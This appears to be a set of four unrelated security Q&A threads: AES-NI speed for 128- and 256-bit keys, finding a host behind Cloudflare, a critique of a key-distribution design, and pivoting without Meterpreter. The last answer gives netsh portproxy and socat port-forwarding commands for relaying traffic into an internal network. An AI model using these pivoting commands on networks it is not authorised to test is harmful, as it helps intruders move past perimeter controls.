Do AES-NI instructions accelerate both AES-128 and AES-256? I have a HW-accelerated AES processor. With that in mind, my first question would be:

Do AES-NI instructions accelerate both AES-128 and AES-256 encryption / decryption?

Secondly, if it is true, that these CPUs accelerate both lengths, why would some VPN providers recommend AES-128 for speed?

Yes, AES-NI accelerates both AES-128 and AES-256, and yes, there is a performance difference between hardware accelerated AES-128 and AES-256, according to https://software.intel.com/en-us/articles/intel-aes-ni-performance-enhancements-hytrust-datacontrol-case-study#_Toc397546813:

  On Ivy Bridge here are the raw numbers for both
  Cyber-Block-Chaining  (CBC) and XEX-based
  tweaked-codebook mode with ciphertext
  stealing (XTS) modes with both 128- and 256-bit keys.

  Note that for XTS mode, only half the key is used,
  so XTS-512 essentially utilizes a 256-bit key.

# Tests are approximate using memory only (no storage IO).
#  Algorithm | Key |  Encryption |  Decryption
     aes-cbc   128b   581.3 MiB/s  1961.8 MiB/s
     aes-cbc   256b   431.4 MiB/s  1503.1 MiB/s
     aes-xts   256b  1665.6 MiB/s  1642.3 MiB/s
     aes-xts   512b  1318.3 MiB/s  1282.1 MiB/s

  And for Haswell:

# Tests are approximate using memory only (no storage IO).
#  Algorithm | Key |  Encryption |  Decryption
     aes-cbc   128b   663.8 MiB/s  2486.8 MiB/s
     aes-cbc   256b   493.9 MiB/s  2043.6 MiB/s
     aes-xts   256b  2265.2 MiB/s  2261.1 MiB/s
     aes-xts   512b  1778.0 MiB/s  1778.7 MiB/s

  We made the following observations:

  For CBC encryption, we see a 40% improvement for 128-bit keys over 256-bit keys.
  For XTS encryption, we see a 30% improvement for 256-bit keys over 512-bit keys.
  For CBC decryption, we see a 20% improvement for 128-bit keys over 256-bit keys.
  For XTS decryption, we see a 30% improvement for 256-bit XTS keys over 512-bit keys.

Note that this is raw performance of the AES-NI instruction. In real world, there is disk I/O or network I/O that happens while data is being encrypted/decrypted, which would affect real world performance.

Also, I believe the above numbers are for single core performance, in implementations that uses multiple cores, even AES-256 can easily saturate the entire I/O bandwidth of an SSD and most networks.

As noted here though, making sure you use the right chaining mode for your purpose actually affects throughput much more significantly than the key size.


How to find out where a website is hosted? I would like to find out where a website is hosted, in other words where the server/datacentre is located and the name of the company that provides the hosting. I have used the various websites that come up on google but they keep telling me that cloudflare etc. is the hoster when its not. Cloudflare doesn't host any files nor provide web servers.

If your queries are showing that the site is hosted by Cloudflare, then the site that you are trying to look-up may be protected by Cloudflare's web application firefall (WAF).

In this case, the DNS A record for the site will point to a server on Cloudflare's network.  The Cloudflare server will act as a reverse-proxy - forwarding requests to the site's actual server, and relaying responses from the site's actual server back to the user.  But, this is opaque to the user, and if configured correctly, there is no way for you to find the IP address and/or network where the actual server is hosted.  This is by design, see Does Cloudflare masking my IP make my server more secure? for more info.


Key distribution from a central server I have a system composed by different computers that must communicate in a real-time context.

All the communications must be encrypted and this system is not connected to Internet, it's just a bunch of computers that are connected via different switches.

Each computer can have different connections to the other ones, acting both as server and/or client, using both UDP and / or TCP.

What I'd like to do is to implement something not bulky or too complex. My idea was to use in some way AES 128 (or 256) and GCM mode.

I was thinking that the there might be a central server in charge of distributing a single key that can be used by all the other computers to encrypt all the data. Specifically, I was thinking to upload all the public keys to this computer and then each client, at system startup, retrieves the key from the server, and uses this key to encrypt the communication with AES. Basically I'm saying to use AES with a pre-shared key that can be obtained from a central server.

The password created in the central server could be changed manually or automatically generated every day.

What do you think about this design? I'm planning to develop everything in C++, any suggestion about which technology / library should I use?

I've seen there's the low level libcrypto++ but that there is also OpenSSL that provides both TLS and DTLS capabilities. Is it possible to set OpenSSL to create a system like the one I've described or should I use other libraries like libcrypto++?

This is a comment, but space is limited.

Based on the information provided, the best advice is: do not attempt this.

  to use in some way AES 128 (or 256) and GCM mode

Go look at some security vulnerabilities involving encryption. The algorithm is important, but most of the problems arise in the "some way" part.

  All the communications must be encrypted

Then either you need to modify all the client code and all the server code or rewrite the networking stack in the OS.

Why do they need to be encrypted? Is it just for confidentiality as the data crosses the network Do you want to implement bi-directional authentication?

  this system is not connected to Internet...for a system that must stay online on Internet

Eh?

Do the hosts connect to/provide things other than the services you are trying to protect?

It sounds like you just need a VPN.

  any suggestion about which technology / library should I use?

You really don't understand what you are trying to achieve, so its understandable that you're not able to ask the right questions. There are lots of technologies available which are well written, maintained and supportable (but there's not even enough information here to point you in the right direction).


Pivoting without meterpreter Is there any way other than Meterpreter to pivot into the network? If yes, then please guide.
I already know about Meterpreter, just want to know manual methods other than this.

Well, you can always forward ports like this:

netsh interface portproxy add v4tov4 listenport=XXXX listenaddress=Y.Y.Y.Y connectport=ZZZZ connectaddress=T.T.T.T

Alternately, socat is a very powerful command-line tool which will enable you to forward ports and a lot more. Here is a sample usage:

socat -d -d tcp4-listen:XXXX,reuseaddr,fork,tcpwrap=socat tcp4:T.T.T.T:ZZZZ